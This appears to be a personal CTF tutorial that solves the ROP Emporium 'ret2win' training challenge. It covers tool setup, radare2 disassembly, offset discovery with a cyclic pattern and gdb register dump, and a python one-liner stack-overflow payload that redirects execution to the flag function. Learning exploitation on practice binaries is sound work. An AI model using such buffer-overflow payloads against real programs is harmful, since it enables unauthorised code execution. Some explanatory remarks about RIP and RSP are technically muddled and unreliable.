As I am not that experienced with exploitation yet, I recently decided to follow the series of challenges offered by ROP Emporium. The challenges will be explained here both as a documentation exercise and with the hope that other cybersecurity enthusiasts will be able to find some value in those tutorials. Since I’ll solve most of the challenges in x64 architecture, the following document might be helpful x64 cheatsheet

Requirement

First, we download the zip file for the challenges:

wget https://ropemporium.com/binary/rop_emporium_all_challenges.zip
unzip rop_emporium_all_challenges.zip

Radare2

Radare2 is a complete framework for reverse-engineering and analyzing binaries; composed of a set of small utilities that can be used together or independently from the command line.

apt-get install git
git clone https://github.com/radare/radare2
cd radare2
sys/install.sh

Ropper

You can use ropper to display information about binary files in different file formats and you can search for gadgets to build rop chains for different architectures (x86/X86_64, ARM/ARM64, MIPS/MIPS64, PowerPC/PowerPC64, SPARC64). For disassembly ropper uses the awesome Capstone Framework.

apt install python-pip
pip install ropper

Pwntools

Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools

Peda

PEDA - Python Exploit Development Assistance for GDB

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Ret2win

A first glance at the binary using r2 shows three main functions:

0x00400746    1 111          sym.main
0x004007b5    1 92           sym.pwnme
0x00400811    1 32           sym.ret2win

Upon further examination, we can easily determine to which address we need to return to:

/ (fcn) sym.ret2win 32
|   sym.ret2win ();
|           0x00400811      55             push rbp
|           0x00400812      4889e5         mov rbp, rsp
|           0x00400815      bfe0094000     mov edi, str.Thank_you__Here_s_your_flag: ; 0x4009e0 ; "Thank you! Here's your flag:"
|           0x0040081a      b800000000     mov eax, 0
|           0x0040081f      e8ccfdffff     call sym.imp.printf
|           0x00400824      bffd094000     mov edi, str.bin_cat_flag.txt ; 0x4009fd ; "/bin/cat flag.txt"
|           0x00400829      e8b2fdffff     call sym.imp.system
|           0x0040082e      90             nop
|           0x0040082f      5d             pop rbp
\           0x00400830      c3             ret

Next, we need to determine our offset by providing the binary with a special non-repeatable pattern:

Creating our pattern:
gdb ret2win
pattern_create 200
or 
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

Once we provide our pattern to the binary we are greeted with:

Program received signal SIGSEGV, Segmentation fault.                                                      
[----------------------------------registers-----------------------------------]                          
RAX: 0x7fffffffe130 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")                                 
RBX: 0x0                                                                                                  
RCX: 0x0                                                                                                  
RDX: 0x7ffff7fa4590 --> 0x0                                                                               
RSI: 0x6022a1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'"...)
RDI: 0x7fffffffe131 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")                                  
RBP: 0x6141414541412941 ('A)AAEAAa')                                                                      
RSP: 0x7fffffffe158 ("AA0AAFAAb")                                                                         
RIP: 0x400810 (<pwnme+91>:      ret)                                                                      
R8 : 0x7fffffffe130 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")                                 
R9 : 0x7ffff7fa9500 (0x00007ffff7fa9500)                                                                  
R10: 0x410                                                                                                
R11: 0x246                                                                                                
R12: 0x400650 (<_start>:        xor    ebp,ebp)                                                           
R13: 0x7fffffffe240 --> 0x1                                                                               
R14: 0x0                                                                                                  
R15: 0x0                                                                                                  
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)                         
[-------------------------------------code-------------------------------------]                                                                                                                                    
   0x400809 <pwnme+84>: call   0x400620 <fgets@plt>                                                       
   0x40080e <pwnme+89>: nop                                                                               
   0x40080f <pwnme+90>: leave                                                                             
=> 0x400810 <pwnme+91>: ret                                                                               
   0x400811 <ret2win>:  push   rbp                                                                        
   0x400812 <ret2win+1>:        mov    rbp,rsp                                                            
   0x400815 <ret2win+4>:        mov    edi,0x4009e0                                                       
   0x40081a <ret2win+9>:        mov    eax,0x0                                                            
[------------------------------------stack-------------------------------------]                          
0000| 0x7fffffffe158 ("AA0AAFAAb")                                                                        
0008| 0x7fffffffe160 --> 0x400062 --> 0x1f8000000000000                                                   
0016| 0x7fffffffe168 --> 0x7ffff7e0ebbb (<__libc_start_main+235>:       mov    edi,eax)                                                                                                                             
0024| 0x7fffffffe170 --> 0x0                                                                              
0032| 0x7fffffffe178 --> 0x7fffffffe248 --> 0x7fffffffe53a ("/root/ropemporium/ret2win")                  
0040| 0x7fffffffe180 --> 0x100040000                                                                      
0048| 0x7fffffffe188 --> 0x400746 (<main>:      push   rbp)                                               
0056| 0x7fffffffe190 --> 0x0                                                                              
[------------------------------------------------------------------------------]                          
Legend: code, data, rodata, value                                                                         
Stopped reason: SIGSEGV                                                                                   
0x0000000000400810 in pwnme ()   

We can see that the stack pointer(RSP) has now been overwritten by the value “AA0AAFAAb”. Using this value, we can determine how much padding will be needed before writing the address to the function ret2win@0x00400811

pattern offset AA0AAFAAb
AA0AAFAAb found at offset: 40

Now if all goes according to plan, the following line should return the flags:

python -c 'print "\x90"*40                #Will take care of the padding
+"\x11\x08\x40\x00\x00\x00\x00\x00\x00"'  #Will write our address into RSP
   
root@kali:~/ropemporium# python -c 'print "\x90"*40 + "\x11\x08\x40\x00\x00\x00\x00\x00\x00"' | ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault

*Note that the value of RIP has not been overwritten, this is because, in the x64 architecture, the value will not be poped into RDI if it cannot be jumped to or executed.